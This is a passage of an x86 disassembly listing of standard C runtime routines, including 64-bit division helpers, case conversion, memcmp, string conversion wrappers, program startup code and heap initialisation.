sbb edx, [esp+4+arg_C]
loc_41DCE2: ; CODE XREF: sub_41DC80+52j
; sub_41DC80+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DCF1: ; CODE XREF: sub_41DC80+1Fj
pop ebx
retn 10h
sub_41DC80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD00 proc near ; CODE XREF: sub_416F9A+5Fp
; sub_416F9A+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DD21
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DD21: ; CODE XREF: sub_41DD00+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DD3D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DD3D: ; CODE XREF: sub_41DD00+27j
or eax, eax
jnz short loc_41DD59
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD9A
; ---------------------------------------------------------------------------
loc_41DD59: ; CODE XREF: sub_41DD00+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DD67: ; CODE XREF: sub_41DD00+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DD67
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DD95
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DD95
jb short loc_41DD96
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DD96
loc_41DD95: ; CODE XREF: sub_41DD00+85j
; sub_41DD00+8Bj
dec esi
loc_41DD96: ; CODE XREF: sub_41DD00+8Dj
; sub_41DD00+93j
xor edx, edx
mov eax, esi
loc_41DD9A: ; CODE XREF: sub_41DD00+57j
dec edi
jnz short loc_41DDA4
neg edx
neg eax
sbb edx, 0
loc_41DDA4: ; CODE XREF: sub_41DD00+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DD00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDAA proc near ; CODE XREF: sub_417646+BFp
; sub_417646+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DE0EC
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DDDE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DE45
loc_41DDC6: ; CODE XREF: sub_41DDAA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DDD7
cmp cl, 7Ah
jg short loc_41DDD7
sub cl, 20h
mov [edx], cl
loc_41DDD7: ; CODE XREF: sub_41DDAA+21j
; sub_41DDAA+26j
inc edx
cmp [edx], bl
jnz short loc_41DDC6
jmp short loc_41DE45
; ---------------------------------------------------------------------------
loc_41DDDE: ; CODE XREF: sub_41DDAA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_423383
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DE37
push edi
call sub_41BCA5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DE37
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DE0EC
call sub_423383
add esp, 20h
test eax, eax
jz short loc_41DE37
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C680
pop ecx
pop ecx
loc_41DE37: ; CODE XREF: sub_41DDAA+53j
; sub_41DDAA+61j ...
push [ebp+var_4]
call sub_41B881
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DE45: ; CODE XREF: sub_41DDAA+1Aj
; sub_41DDAA+32j
pop ebx
leave
retn
sub_41DDAA endp
; =============== S U B R O U T I N E =======================================
sub_41DE48 proc near ; CODE XREF: sub_41802F+1A3p
arg_0 = dword ptr 4
cmp dword_43F1F4, 1
jle short loc_41DE5F
push 4
push [esp+4+arg_0]
call sub_41FD15
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DE5F: ; CODE XREF: sub_41DE48+7j
mov eax, [esp+arg_0]
mov ecx, off_43EFE8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DE48 endp
; =============== S U B R O U T I N E =======================================
sub_41DE70 proc near ; CODE XREF: sub_420D10+76p
; sub_420D10+88p ...
arg_0 = dword ptr 4
cmp dword_43F1F4, 1
jle short loc_41DE87
push 8
push [esp+4+arg_0]
call sub_41FD15
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DE87: ; CODE XREF: sub_41DE70+7j
mov eax, [esp+arg_0]
mov ecx, off_43EFE8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DEA0 proc near ; CODE XREF: sub_41842E+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DEEC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DEED
test eax, 1
jz short loc_41DECD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DF1A
inc esi
inc edi
dec eax
jz short loc_41DEEA
loc_41DECD: ; CODE XREF: sub_41DEA0+20j
; sub_41DEA0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DF1A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DF1A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DECD
loc_41DEEA: ; CODE XREF: sub_41DEA0+2Bj
; sub_41DEA0+84j
pop edi
pop esi
locret_41DEEC: ; CODE XREF: sub_41DEA0+6j
retn
; ---------------------------------------------------------------------------
loc_41DEED: ; CODE XREF: sub_41DEA0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DF22
repe cmpsd
jz short loc_41DF22
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DF15
cmp ch, dh
jnz short loc_41DF15
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DF15
cmp ch, dh
loc_41DF15: ; CODE XREF: sub_41DEA0+63j
; sub_41DEA0+67j ...
mov eax, 0
loc_41DF1A: ; CODE XREF: sub_41DEA0+26j
; sub_41DEA0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DF22: ; CODE XREF: sub_41DEA0+55j
; sub_41DEA0+59j
test eax, eax
jz short loc_41DEEA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DF15
dec eax
jz short loc_41DF49
cmp dh, ch
jnz short loc_41DF15
dec eax
jz short loc_41DF49
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DF15
dec eax
loc_41DF49: ; CODE XREF: sub_41DEA0+8Fj
; sub_41DEA0+96j
pop edi
pop esi
retn
sub_41DEA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DF4C proc near ; CODE XREF: sub_418745+6p
; sub_418763+48p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DE0EC, 0
push ebx
push esi
push edi
jnz short loc_41DF79
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E012
cmp eax, 5Ah
jg loc_41E012
add eax, 20h
jmp loc_41E012
; ---------------------------------------------------------------------------
loc_41DF79: ; CODE XREF: sub_41DF4C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41DFAD
cmp dword_43F1F4, esi
jle short loc_41DF9B
push esi
push ebx
call sub_41FD15
pop ecx
pop ecx
jmp short loc_41DFA5
; ---------------------------------------------------------------------------
loc_41DF9B: ; CODE XREF: sub_41DF4C+42j
mov eax, off_43EFE8
mov al, [eax+ebx*2]
and eax, esi
loc_41DFA5: ; CODE XREF: sub_41DF4C+4Dj
test eax, eax
jnz short loc_41DFAD
loc_41DFA9: ; CODE XREF: sub_41DF4C+ADj
mov eax, ebx
jmp short loc_41E012
; ---------------------------------------------------------------------------
loc_41DFAD: ; CODE XREF: sub_41DF4C+3Aj
; sub_41DF4C+5Bj
mov edx, off_43EFE8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41DFD1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41DFDA
; ---------------------------------------------------------------------------
loc_41DFD1: ; CODE XREF: sub_41DF4C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41DFDA: ; CODE XREF: sub_41DF4C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DE0EC
call sub_423383
add esp, 20h
test eax, eax
jz short loc_41DFA9
cmp eax, esi
jnz short loc_41E005
movzx eax, [ebp+var_4]
jmp short loc_41E012
; ---------------------------------------------------------------------------
loc_41E005: ; CODE XREF: sub_41DF4C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E012: ; CODE XREF: sub_41DF4C+16j
; sub_41DF4C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DF4C endp
; =============== S U B R O U T I N E =======================================
sub_41E017 proc near ; CODE XREF: sub_418D6C+9Cp
; sub_419D4E+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E02E
loc_41E024: ; CODE XREF: sub_41E017+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E024
loc_41E02E: ; CODE XREF: sub_41E017+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E017 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E034 proc near ; CODE XREF: sub_418D6C+6Ep
; sub_418D6C+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E101
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E12E
cmp dword_4DE0EC, esi
jnz short loc_41E085
cmp edi, esi
jbe loc_41E12E
loc_41E064: ; CODE XREF: sub_41E034+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E12E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E064
jmp loc_41E12E
; ---------------------------------------------------------------------------
loc_41E085: ; CODE XREF: sub_41E034+26j
mov ebx, [ebp+arg_4]
mov esi, dword_428184
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DE0FC
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_41E12D
call dword_42808C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41E0BF
loc_41E0B0: ; CODE XREF: sub_41E034+CBj
; sub_41E034+F7j
mov dword_4DE02C, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E12E
; ---------------------------------------------------------------------------
loc_41E0BF: ; CODE XREF: sub_41E034+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E0C7: ; CODE XREF: sub_41E034+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E0E9
mov edx, off_43EFE8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E0DE
inc eax
loc_41E0DE: ; CODE XREF: sub_41E034+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E0C7
loc_41E0E9: ; CODE XREF: sub_41E034+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DE0FC
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_41E12E
jmp short loc_41E0B0
; ---------------------------------------------------------------------------
loc_41E101: ; CODE XREF: sub_41E034+Fj
cmp dword_4DE0EC, esi
jnz short loc_41E114
push [ebp+arg_4]
call sub_41B7B0
pop ecx
jmp short loc_41E12E
; ---------------------------------------------------------------------------
loc_41E114: ; CODE XREF: sub_41E034+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DE0FC
call dword_428184 ; MultiByteToWideChar
cmp eax, esi
jz short loc_41E0B0
loc_41E12D: ; CODE XREF: sub_41E034+6Bj
dec eax
loc_41E12E: ; CODE XREF: sub_41E034+1Aj
; sub_41E034+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E034 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428720
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_4281B4 ; GetVersion
xor edx, edx
mov dl, ah
mov dword_4DE044, edx
mov ecx, eax
and ecx, 0FFh
mov dword_4DE040, ecx
shl ecx, 8
add ecx, edx
mov dword_4DE03C, ecx
shr eax, 10h
mov dword_4DE038, eax
xor esi, esi
push esi
call sub_41E5D2
pop ecx
test eax, eax
jnz short loc_41E19F
push 1Ch
call sub_41E24E
pop ecx
loc_41E19F: ; CODE XREF: .packed:0041E195j
mov [ebp-4], esi
call sub_423BE6
call dword_4281B0 ; GetCommandLineA
mov dword_4DF6CC, eax
call sub_423AB4
mov dword_4DE0A0, eax
call sub_423867
call sub_4237AE
call sub_41BF54
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call dword_4281AC ; GetStartupInfoA
call sub_423756
mov [ebp-64h], eax
test byte ptr [ebp-30h], 1
jz short loc_41E1EC
movzx eax, word ptr [ebp-2Ch]
jmp short loc_41E1EF
; ---------------------------------------------------------------------------
loc_41E1EC: ; CODE XREF: .packed:0041E1E4j
push 0Ah
pop eax
loc_41E1EF: ; CODE XREF: .packed:0041E1EAj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call dword_42809C ; GetModuleHandleA
push eax
call sub_401252
mov [ebp-60h], eax
push eax
call sub_41BF81
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_4235D2
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_41BF92
; =============== S U B R O U T I N E =======================================
sub_41E229 proc near ; CODE XREF: sub_41D822+16p
; sub_422F2B+4Dp ...
arg_0 = dword ptr 4
cmp dword_4DE0A8, 1
jnz short loc_41E237
call sub_423E74
loc_41E237: ; CODE XREF: sub_41E229+7j
push [esp+arg_0]
call sub_423EAD
push 0FFh
call off_43CFB0
pop ecx
pop ecx
retn
sub_41E229 endp
; =============== S U B R O U T I N E =======================================
sub_41E24E proc near ; CODE XREF: .packed:0041E199p
arg_0 = dword ptr 4
cmp dword_4DE0A8, 1
jnz short loc_41E25C
call sub_423E74
loc_41E25C: ; CODE XREF: sub_41E24E+7j
push [esp+arg_0]
call sub_423EAD
pop ecx
push 0FFh
call dword_428068 ; ExitProcess
retn
sub_41E24E endp
; =============== S U B R O U T I N E =======================================
sub_41E272 proc near ; CODE XREF: sub_41B82B+2Ap
; sub_42425E+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DE460
jnb loc_41E30C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DE360h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E30C
push edi
call sub_424186
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E2EB
cmp edi, 1
jz short loc_41E2B9
cmp edi, 2
jnz short loc_41E2CF
loc_41E2B9: ; CODE XREF: sub_41E272+40j
push 2
call sub_424186
push 1
mov ebp, eax
call sub_424186
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E2EB
loc_41E2CF: ; CODE XREF: sub_41E272+45j
push edi
call sub_424186
pop ecx
push eax
call dword_42806C ; CloseHandle
test eax, eax
jnz short loc_41E2EB
call dword_42808C ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41E2ED
; ---------------------------------------------------------------------------
loc_41E2EB: ; CODE XREF: sub_41E272+3Bj
; sub_41E272+5Bj ...
xor ebp, ebp
loc_41E2ED: ; CODE XREF: sub_41E272+77j
push edi
call sub_42410C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E308
push ebp
call sub_420BDF
pop ecx
jmp short loc_41E31D
; ---------------------------------------------------------------------------
loc_41E308: ; CODE XREF: sub_41E272+8Bj
xor eax, eax
jmp short loc_41E320
; ---------------------------------------------------------------------------
loc_41E30C: ; CODE XREF: sub_41E272+Ej
; sub_41E272+2Fj
and dword_4DE030, 0
mov dword_4DE02C, 9
loc_41E31D: ; CODE XREF: sub_41E272+94j
or eax, 0FFFFFFFFh
loc_41E320: ; CODE XREF: sub_41E272+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E272 endp
; =============== S U B R O U T I N E =======================================
sub_41E325 proc near ; CODE XREF: sub_41B82B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E34E
test al, 8
jz short loc_41E34E
push dword ptr [esi+8]
call sub_41B881
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E34E: ; CODE XREF: sub_41E325+Aj
; sub_41E325+Ej
pop esi
retn
sub_41E325 endp
; =============== S U B R O U T I N E =======================================
sub_41E350 proc near ; CODE XREF: sub_41E3F0+2Dp
; sub_41E3F0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E362
push esi
call sub_41E3F0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E362: ; CODE XREF: sub_41E350+7j
push esi
call sub_41E38B
test eax, eax
pop ecx
jz short loc_41E372
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E372: ; CODE XREF: sub_41E350+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E387
push dword ptr [esi+10h]
call sub_4241C3
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E387: ; CODE XREF: sub_41E350+26j
xor eax, eax
pop esi
retn
sub_41E350 endp
; =============== S U B R O U T I N E =======================================
sub_41E38B proc near ; CODE XREF: sub_41B82B+1Ap
; sub_41D9ED+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E3D8
test ax, 108h
jz short loc_41E3D8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E3D8
push edi
push eax
push dword ptr [esi+10h]
call sub_4231D6
add esp, 0Ch
cmp eax, edi
jnz short loc_41E3D1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E3D8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E3D8
; ---------------------------------------------------------------------------
loc_41E3D1: ; CODE XREF: sub_41E38B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E3D8: ; CODE XREF: sub_41E38B+14j
; sub_41E38B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E38B endp
; =============== S U B R O U T I N E =======================================
sub_41E3E7 proc near ; CODE XREF: sub_422FD0p
push 1
call sub_41E3F0
pop ecx
retn
sub_41E3E7 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E350+Ap
; sub_41E3E7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DF480, esi
jle short loc_41E44E
loc_41E401: ; CODE XREF: sub_41E3F0+5Cj
mov eax, dword_4DE464
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E445
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E445
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E42B
push eax
call sub_41E350
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E445
inc ebx
jmp short loc_41E445
; ---------------------------------------------------------------------------
loc_41E42B: ; CODE XREF: sub_41E3F0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E445
test cl, 2
jz short loc_41E445
push eax
call sub_41E350
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E445
or edi, eax
loc_41E445: ; CODE XREF: sub_41E3F0+1Bj
; sub_41E3F0+23j ...
inc esi
cmp esi, dword_4DF480
jl short loc_41E401
loc_41E44E: ; CODE XREF: sub_41E3F0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E459
mov eax, edi
loc_41E459: ; CODE XREF: sub_41E3F0+65j
pop edi
pop esi
pop ebx
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E45D proc near ; CODE XREF: sub_41E48A+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_42809C ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41E488
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E488
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E488: ; CODE XREF: sub_41E45D+15j
; sub_41E45D+1Cj
pop esi
retn
sub_41E45D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E48A proc near ; CODE XREF: sub_41E5D2+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C2F0
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_4280C8 ; GetVersionExA
test eax, eax
jz short loc_41E4CD
cmp [ebp+var_88], 2
jnz short loc_41E4CD
cmp [ebp+var_94], 5
jb short loc_41E4CD
push 1
pop eax
jmp loc_41E5CF
; ---------------------------------------------------------------------------
loc_41E4CD: ; CODE XREF: sub_41E48A+27j
; sub_41E48A+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4281B8 ; GetEnvironmentVariableA
test eax, eax
jz loc_41E5BC
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_41E50F
loc_41E4FC: ; CODE XREF: sub_41E48A+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41E50A
cmp al, 7Ah
jg short loc_41E50A
sub al, 20h
mov [ecx], al
loc_41E50A: ; CODE XREF: sub_41E48A+76j
; sub_41E48A+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41E4FC
loc_41E50F: ; CODE XREF: sub_41E48A+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C640
add esp, 0Ch
test eax, eax
jnz short loc_41E531
lea eax, [ebp+var_122C]
jmp short loc_41E57A
; ---------------------------------------------------------------------------
loc_41E531: ; CODE XREF: sub_41E48A+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_428074 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_41E565
loc_41E552: ; CODE XREF: sub_41E48A+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41E560
cmp al, 7Ah
jg short loc_41E560
sub al, 20h
mov [ecx], al
loc_41E560: ; CODE XREF: sub_41E48A+CCj
; sub_41E48A+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41E552
loc_41E565: ; CODE XREF: sub_41E48A+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_41C0D0
pop ecx
pop ecx
loc_41E57A: ; CODE XREF: sub_41E48A+A5j
cmp eax, ebx
jz short loc_41E5BC
push 2Ch
push eax
call sub_41C780
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E5BC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E5A1
loc_41E593: ; CODE XREF: sub_41E48A+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41E59C
mov [ecx], bl
jmp short loc_41E59D
; ---------------------------------------------------------------------------
loc_41E59C: ; CODE XREF: sub_41E48A+10Cj
inc ecx
loc_41E59D: ; CODE XREF: sub_41E48A+110j
cmp [ecx], bl
jnz short loc_41E593
loc_41E5A1: ; CODE XREF: sub_41E48A+107j
push 0Ah
push ebx
push eax
call sub_41C376
add esp, 0Ch
cmp eax, 2
jz short loc_41E5CF
cmp eax, 3
jz short loc_41E5CF
cmp eax, 1
jz short loc_41E5CF
loc_41E5BC: ; CODE XREF: sub_41E48A+5Cj
; sub_41E48A+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41E45D
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E5CF: ; CODE XREF: sub_41E48A+3Ej
; sub_41E48A+126j ...
pop ebx
leave
retn
sub_41E48A endp
; =============== S U B R O U T I N E =======================================
sub_41E5D2 proc near ; CODE XREF: .packed:0041E18Dp
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4281C0 ; HeapCreate
test eax, eax
mov dword_4DF6C4, eax
jz short loc_41E628
call sub_41E48A
cmp eax, 3
mov dword_4DF6C8, eax
jnz short loc_41E60E
push 3F8h
call sub_41E62F
pop ecx
jmp short loc_41E618
; ---------------------------------------------------------------------------
loc_41E60E: ; CODE XREF: sub_41E5D2+2Dj
cmp eax, 2
jnz short loc_41E62B
call sub_41F176
loc_41E618: ; CODE XREF: sub_41E5D2+3Aj
test eax, eax
jnz short loc_41E62B
push dword_4DF6C4
call dword_4281BC ; HeapDestroy
loc_41E628: ; CODE XREF: sub_41E5D2+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E62B: ; CODE XREF: sub_41E5D2+3Fj
; sub_41E5D2+48j
push 1
pop eax
retn
sub_41E5D2 endp
; =============== S U B R O U T I N E =======================================
sub_41E62F proc near ; CODE XREF: sub_41E5D2+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_4DF6C4
call dword_428148 ; RtlAllocateHeap
test eax, eax
mov dword_4DF6BC, eax
jnz short loc_41E64C
retn
; ---------------------------------------------------------------------------
loc_41E64C: ; CODE XREF: sub_41E62F+1Aj
mov ecx, [esp+arg_0]
and dword_4DF6B4, 0
and dword_4DF6B8, 0
push 1
mov dword_4DF6B0, eax
mov dword_4DF6C0, ecx
mov dword_4DF6A8, 10h
pop eax
retn
sub_41E62F endp
; =============== S U B R O U T I N E =======================================
sub_41E677 proc near ; CODE XREF: sub_41B881+17p
; sub_41B9D2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DF6B8
lea ecx, [eax+eax*4]
mov eax, dword_4DF6BC
lea ecx, [eax+ecx*4]
loc_41E687: ; CODE XREF: sub_41E677+26j
cmp eax, ecx
jnb short loc_41E69F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E6A1
add eax, 14h
jmp short loc_41E687
; ---------------------------------------------------------------------------
loc_41E69F: ; CODE XREF: sub_41E677+12j
xor eax, eax
locret_41E6A1: ; CODE XREF: sub_41E677+21j
retn
sub_41E677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6A2 proc near ; CODE XREF: sub_41B881+23p
; sub_41B9D2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
